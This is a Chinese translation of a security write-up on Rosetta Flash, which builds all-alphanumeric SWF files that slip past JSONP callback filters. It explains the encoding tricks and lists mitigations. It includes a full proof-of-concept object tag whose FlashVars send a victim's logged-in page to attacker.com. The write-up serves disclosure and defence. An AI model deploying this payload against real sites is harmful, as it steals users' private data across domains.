上傳檔案的陷阱II 純數字字母的swf是漏洞麼?
from:http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
0x00 背景
在上一篇上傳檔案的陷阱(/tips/?id=2031)當中,作者提到對於flash的跨域資料 劫持,有時並不需要我們去上傳一個檔案。因為我們可以簡單的利用JSONP介面,將flash的內容賦 [email protected]樣,利用JSONP的部分確實可以看作是整個 文章的“高潮點”。因為在多數情況下:
1.一個不會驗證檔案格式的上傳點並沒有那麼好找
2.有時候我們找不到檔案的真正路徑,有時候檔案會被強制下載
3.即使我們找到了不受條件[1]和[2]約束的上傳點,也有可能會遭到“檔案訪問許可權”的困擾!
當然這些也只是我在試圖利用這種方法時遇到的一些困難,實際上也許還會有更復雜和更難以利⽤用的場景。相比之下如果是利用JSONP,事情就可能會變得相對簡單一些。但實際上利⽤JSONP callback APIs道路也並沒有那麼平坦。因為很多開發者會對json的callbacks做一些限制。比如:
只允許[a-zA-Z]和 _ 和 .
先不論這種做法的好壞和正確性,首先我們必須得承認這種做法確實可以在某種程度上減少大部分的安全隱患。但是這樣就真的安全了麼?很明顯,答案是否定的。為了證明這種防範措施依然是極 度脆弱的,作者開發了一個名為Rosetta Flash的工具。就像⽂文章的標題所描述的那樣,利用該工具 可以幫助我們建立純數字字母的swf檔案。有了這種格式的swf在手,上述的callbacks限制也就自然 是浮雲了。光憑說,好像完全沒有說服力。讓我們看看這種bypass問世後都有哪些大站躺槍:
* Google的⼀一些站點,如:accounts.google.com,主站和books,maps等分站
* Youtube
* Twitter
* Instagram
* Tumblr
* Lark
* eBay
寫(翻譯)到這裡時才發現這個鋪墊確實有點長了。下面就讓我們來看看筆者的這把劍(Rosetta Flash)是怎麼磨出來的吧。
0x01 Rosetta Flash
這種純數字字母的swf的製作原理,主要就是將一般的swf二進位制內容透過zlib壓縮後再進行輸出。 使用點對點的哈弗曼編碼將非法字元對映為合法字元。當然了,嚴格的來說這種做法並不能被稱作 是真正意義上壓縮。
通常,一個Flash檔案既可以是沒有被壓縮過的(神奇的FWC位元組),也可以是經過zlib(神奇的 CWS位元組)或LZMA(神奇的ZWS位元組)壓縮過的。
SWF的頭格式如下圖所示:
由於Flash解析器具有極高的自由度(如下圖)和忽略無效位元組的特性,藉助這種特性就可以讓我們得到我們想要的字元。
首先我們要搞定zlib頭中經過DEFLATE(同時使用了LZ77與哈夫曼編碼的一種無損資料壓縮演算法)壓縮過的前兩個位元組。我使用下面的方法搞定了其中的第一個位元組:
再透過這種方式搞定了其第二個位元組:
雖然不存在太多這樣的組合(兩個位元組)可以同時透過CMF+CINFO+FLG,但是0x68 0x43=hc恰好是符合的。
所以在Rosetta Flash當中我也使⽤用了這兩個位元組。
在搞定zlib頭中的前兩個位元組後,還需要我們暴⼒破解其中的ADLER32校驗(checksum)。
因為就像對其它部分所要求的那樣,我們的checksum也必須是純數字字母組成的。
在這裡我們就使用了一種比較聰明的做法來獲取由[a-zA-Z0-9_\.]
構成的checksum。
對於我們來說,不論是S1還是S2都必須是由數字字母來構成的。
但問題是,我們要怎麼去處理這個未壓縮過的swf來獲取這樣的checksum呢?值得慶幸的是,SWF檔案格式允許我們在其尾部加入任意位元組。
而且這些位元組是會被忽略的。這一特性幫助我搞定了S1和S2。我稱之為Sleds + Deltas 技術。
我們需要做的就是不停新增高位的seld直到出現一個單位元組可以讓S1模數溢位。
隨後再新增delta. 透過這種手法,我們就可以獲取一個合法的S1.之後我們在透過新增一個空位元組的sled直到S2的模數溢位,最終就可以得到一個合法的S2了。
在經過這一切的處理之後,我們得到了一個checksum和zlib頭均為合法的數字字母的原始swf⽂件。
現在讓我們使用哈夫曼的魔法將所有的一切轉換成我們需要的[a-zA-Z0-9_\.]
吧。
在這裡我們使用了兩個哈夫曼encoder來提高我們程式的效率。
如果你想了解更多的細節,可以在 Github上查閱Rosetta Flash的原始碼:https://github.com/mikispag/rosettaflash/
最終,按位元組輸出的效果會是這樣:
最終我們得到我們一直期盼的純數字字母的SWF:
相關POC(AS2程式碼):
我們將其編譯為swf(未壓縮),再用Rosetta Flash對其進行轉換,最終得到:
<object type="application/x-shockwave-flash" data="https://vulnerable.com/endpoint? callback=CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0ssG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqefXAxooooD0CiudIbEAt33swwEpt0GDG0GtDDDtwwGGGGGsGDt33333www033333GfBDTHHHHUhHHHeRjHHHhHHUccUSsgSkKoE5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbe13333333333sUUe133333Wf03sDTVqefXA8oT50CiudIbEAtwEpDDG033sDDGtwGDtwwDwttDDDGwtwG33wwGt0w33333sG03sDDdFPhHHHbWqHxHjHZNAqFzAHZYqqEHeYAHlqzfJzYyHqQdzEzHVMvnAEYzEVHMHbBRrHyVQfDQflqzfHLTrHAqzfHIYqEqEmIVHaznQHzIIHDRRVEbYqItAzNyH7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33swwEDt0GGDDDGptDtwwG0GGptDDww0GDtDDDGGDDGDDtDD33333s03GdFPXHLHAZZOXHrhwXHLhAwXHLHgBHHhHDEHXsSHoHwXHLXAwXHLxMZOXHWHwtHtHHHHLDUGhHxvwDHDxLdgbHHhHDEHXkKSHuHwXHLXAwXHLTMZOXHeHwtHtHHHHLDUGhHxvwTHDxLtDXmwTHLLDxLXAwXHLTMwlHtxHHHDxLlCvm7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtuwt3sG33ww0sDtDt0333GDw0w33333www033GdFPDHTLxXThnohHTXgotHdXHHHxXTlWf7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwWtD333wwG03www0GDGpt03wDDDGDDD 33333s033GdFPhHHkoDHDHTLKwhHhzoDHDHTlOLHHhHxeHXWgHZHoXHT HNo4D0Up0IZUnnnnn nnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt33wwE03GDDGwGGDDGDwGtwDtwDDGGDDtGDwwGw0GDDw0w33333www033GdFPHLRDXthHHHLHqeeorHthHHHXDhtxHHHLravHQxQHHHOnHDHyMIuiCyIYEHWSsgHmHKcskHoXHLHwhHHvoXHLhAotHthHHHLXAoXHLxUvH1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo888888880Nj0h" style="display: none"> <param name="FlashVars" value="url=https://vulnerable.com/account/sensitive_content_logged_in&exfiltrate=http://attacker.com/log.php"> </object>
0x02 緩解措施和修復
*來⾃自Adobe的緩解措施
針對於這種情況,Adobe推出了修復版本14.0.0.125,並提到此次的修復會對flash進⾏行驗證來組織 JSONP callback APIs的利用問題。
*來⾃自⺴⽹網站擁有者的緩解措施
可以透過設定
HTTP header Content-Disposition: attachment; filename=f.txt
來強制進⾏檔案下載。
這種方式對於Flash 10.2以後的版本來說是完全足夠的。然⽽而對於content sniffing攻擊,我們可以在 callback內容的最前⾯面加上/**/來進行良好的防禦(這也是⾕谷歌,facebook和Github一直在採取的措施)。當然我們也可以透過設定
X-Content-Type-Options: nosniff
來防禦Opera和Chrome下的 content sniffing攻擊。在這些瀏覽器下,Flash播放器一旦發現Content-type不為application/x- shockwave-flash就會拒絕swf⽂檔案的執行。
相關文章
- 上傳檔案的陷阱2020-08-19
- swf是什麼檔案格式 swf檔案要用什麼軟體開啟2022-04-03
- 檔案上傳漏洞2024-08-31
- WEB漏洞——檔案上傳2021-09-12Web
- 網路安全中檔案上傳漏洞是如何導致的?2022-05-30
- Web安全-檔案上傳漏洞2018-12-29Web
- 淺析檔案上傳漏洞2020-10-20
- WEB安全:檔案上傳漏洞2016-11-24Web
- 【網路安全】什麼是檔案上傳漏洞?預防方法有哪些?2022-07-08
- 檔案包含漏洞(本地包含配合檔案上傳)2018-08-06
- <web滲透-檔案上傳漏洞>2020-11-20Web
- 檔案上傳(解析)漏洞詳解2020-11-27
- 檔案上傳漏洞總結(全)2021-11-14
- 任意檔案上傳漏洞修復2018-05-09
- 檔案上傳漏洞思路詳解2024-09-20
- 什麼是檔案包含漏洞?檔案包含漏洞分類!2021-11-01
- Web 安全漏洞之檔案上傳2019-07-01Web
- 檔案上傳漏洞(繞過姿勢)2018-06-23
- 如何在Android上播放swf檔案2018-09-18Android
- 網站漏洞修復之Metinfo 檔案上傳漏洞2019-07-12網站
- 解析漏洞與檔案上傳漏洞—一對好兄弟2018-03-21
- 3. 檔案上傳漏洞——漏洞總結筆記2024-03-26筆記
- 檔案上傳漏洞防範-檔案型別檢測2024-05-01型別
- 漏洞重溫之檔案上傳(總結)2020-08-12
- 文字檔案上傳漏洞[任意.繞過.解析]2019-08-04
- fckeditor<=2.6.4任意檔案上傳漏洞2013-07-16
- ctfshow檔案上傳漏洞做題記錄2024-03-08
- 為什麼檔案上傳表單是主要的安全威脅2013-09-13
- 網站漏洞測試 檔案上傳漏洞的安全滲透與修復2019-09-20網站
- 檔案數字化是檔案管理的未來趨勢2021-03-04
- 檔案上傳之三基於flash的檔案上傳2021-09-09
- php上傳檔案涉及到的引數:2017-11-12PHP
- 什麼是檔案傳輸,介紹檔案傳輸的發展程式2023-04-26
- php檔案上傳之多檔案上傳2015-07-24PHP
- 檔案上傳之解析漏洞編輯器安全2021-08-10
- 米安程式碼審計 05 檔案上傳漏洞2018-07-24
- 安全漏洞問題5:上傳任意檔案2017-11-21
- PHP未明遠端任意檔案上傳漏洞(轉)2007-09-19PHP